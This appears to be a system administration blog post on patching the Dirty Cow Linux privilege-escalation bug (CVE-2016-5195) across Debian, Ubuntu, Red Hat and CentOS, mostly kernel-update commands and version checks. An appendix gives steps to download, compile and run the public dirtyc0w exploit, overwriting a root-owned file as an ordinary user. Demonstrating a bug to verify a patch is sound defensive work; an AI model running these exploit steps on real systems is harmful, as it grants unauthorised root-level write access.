Patching for Dirty Cow on Debian, Red Hat, Ubuntu, CentOS

“Dirty Cow” is the common name given to Linux vulnerability CVE-2016-5195. It is a “privilege escalation” that allows a non-root user to gain root access on a system. An attacker must have system access first, as a normal user. Then they use the bug to obtain root rights. It is dangerous and should be patched.

The Linux kernel itself was fixed in October 2016. Since then, Linux vendors have all released patches. Many Internet articles suggest addressing the bug by doing a general system update. While that might be fine for a test machine or Linux desktop, it isn’t ideal for a production server. This article describes how to fix the bug in the least invasive way possible – by updating the kernel only.

Affected Systems

The following Linux releases are affected. Kernel versions below are the minimum required to achieve invulnerability. If your kernel is an earlier release, it’s vulnerable. So upgrade to at least the following.

Debian 7 and 8
3.2.82-1 for Debian 7
3.16.36-1+deb8u2 for Debian 8

Ubuntu 12, 14 and 16
4.8.0-26.28 for Ubuntu 16.10
4.4.0-45.66 for Ubuntu 16.04 LTS
3.13.0-100.147 for Ubuntu 14.04 LTS
3.2.0-113.155 for Ubuntu 12.04 LTS

Red Hat/Centos 5,6,7.
Check the kernel with the detector script

Debian 7 / Debian 8

The following process works for both Debian 7 and Debian 8.

Verify the present kernel version.

debian7# uname -a
Linux debian7 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64 GNU/Linux
debian7# dpkg -l | grep linux-image
ii  linux-image-3.2.0-4-amd64             3.2.78-1                           amd64        Linux 3.2 for 64-bit PCs

This Debian 7 system is running 3.2.78-1, which is vulnerable.

Update the kernel as follows.

debian7# apt-get install linux-image-3.2.0-4-amd64

which is the same as typing:

debian7# apt-get install linux-image-$(uname -r)

A lot of stuff is printed out as the new kernel is downloaded and installed. Reboot the system to load it:

debian7# shutdown -r 0

When the system comes back up, check the kernel version again:

debian7$ uname -a
Linux debian7 3.2.0-4-amd64 #1 SMP Debian 3.2.82-1 x86_64 GNU/Linux

debian7$ dpkg -l | grep linux-image
ii  linux-image-3.2.0-4-amd64             3.2.82-1                           amd64        Linux 3.2 for 64-bit PCs

The kernel has been upgraded from version 3.2.78-1 to version 3.2.82-1, which is the minimum level to be free of the Dirty Cow bug.

Note: after the update and before the reboot, dpkg -l will show the new kernel version but uname will still show the old version, because, at that point, the old version is still loaded and running.

Ubuntu 14.04

Update the kernel and related files only, as follows. This was on a test system:

# apt-get install linux-image-generic

Kernel package names can vary, depending on the history of the system and what kernels are installed. Check it with dpkg -l | grep linux. On a production web server, it was called linux-image-virtual rather than linux-image-generic. Note also the –dry-run flag is useful in these situations, especially when you’re working on a production system.

# apt-get install --dry-run linux-image-virtual

and then, to execute:

# apt-get install linux-image-virtual

Red Hat / CentOS

The following procedure works on Red Hat / CentOS versions 6 and 7.

Is your Red Hat / CentOS system vulnerable ? A detector script is available from Red Hat. Run it on the system of interest. For example, on a Red Hat 6.5 system:

redhat65# uname -r
2.6.32-431.el.x86.64
redhat65# ./rh-cve-2016-5195_5.sh 
Your kernel is 2.6.32-431.el6.x86_64 which IS vulnerable.
Red Hat recommends that you update your kernel. Alternatively, you can apply partial
mitigation described at https://access.redhat.com/security/vulnerabilities/2706661 .

Alternatively, rather then deploy the script to every server, just examine it for the kernel release you are interested in. This might be easier in a large Linux landscape. If the release number is listed in the script, it’s vulnerable. For example, checking kernel 2.6.32-431.el.x86.64 again, search the script for “2.6.32-431.el“, missing out the “x86.64” architecture but at the end. Use any editor or grep:

someunixbox$ grep 2.6.32-431.el rh-cve-2016-5195_5.sh 
    "2.6.32-431.el6"

The kernel version is listed in the script, and is therefore vulnerable.

Updating the kernel on Red Hat / CentOS is easy. Just type “yum update kernel“. For example on the CentOS 6.8 system below the kernel was updated from release 2.6.32-642.el6 (vulnerable) to release 2.6.32-642.11.1 (invulnerable).

centos68# uname -a
Linux centos68 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
centos68# yum update kernel
centos68# shutdown -h 0
centos68# uname -a
Linux centos68 2.6.32-642.11.1.el6.x86_64 #1 SMP Fri Nov 18 19:25:05 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

 


Appendix I. Demonstrating the Dirty Cow Bug

The vulnerability can be demonstrated as follows.

As a non-root user, fetch the demo program.

fred@debian$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

As root, install gcc and compile the demo program.

debian# apt-get install gcc
debian# gcc -pthread dirtyc0w.c -o dirtyc0w

Make a root-owned test file:

debian# echo "THIS FILE IS WRITEABLE ONLY BY ROOT" > foo
debian# chmod 404 foo

Note that user “fred” can read the file “foo”, but not write to it.

fred@debian$ echo "test" >> foo
-su: foo: Permission denied
fred@debian$ ls -l foo
-r-----r-- 1 root root 36 Nov 30 10:21 foo
fred@debian$ cat foo
THIS FILE IS WRITEABLE ONLY BY ROOT

Still as the non-root user, run the dirtyc0w demo:

fred@debian$ ./dirtyc0w foo "now is the time for all good men"
mmap 7f1d5d7b1000
madvise 0
procselfmem -1094967296
fred@debian$ cat foo
now is the time for all good menOOT

The file has been overwritten by the fred owned process, leaving only the last 3 characters of the original content.

When the test is repeated after patching, the dirtyc0w program runs without error but fails to modify the file.

 


Appendix II – A Note on Debian Uname

The uname command can be a little confusing on Debian systems. According to the man page, uname -r will output the revision of the currently running version:

fred@debian8:~$ uname -a
Linux debian8 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux
fred@debian8:~$ uname -r
3.16.0-4-amd64
fred@debian8:~$ dpkg -l | grep linux-image
ii  linux-image-3.16.0-4-amd64     3.16.7-ckt25-2               amd64        Linux 3.16 for 64-bit PCs

However, what uname -r actually prints is the name of the apt package containing the presently running kernel. In the example above it is shown as “3.16.0-4”. The real kernel release however is “3.16.7”. The name of the apt package containing the kernel remains as “3.16.0-4”, even after multiple kernel updates. This is a little misleading in that the package name no longer matched the kernel it contains.

2 thoughts on “Patching for Dirty Cow on Debian, Red Hat, Ubuntu, CentOS

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.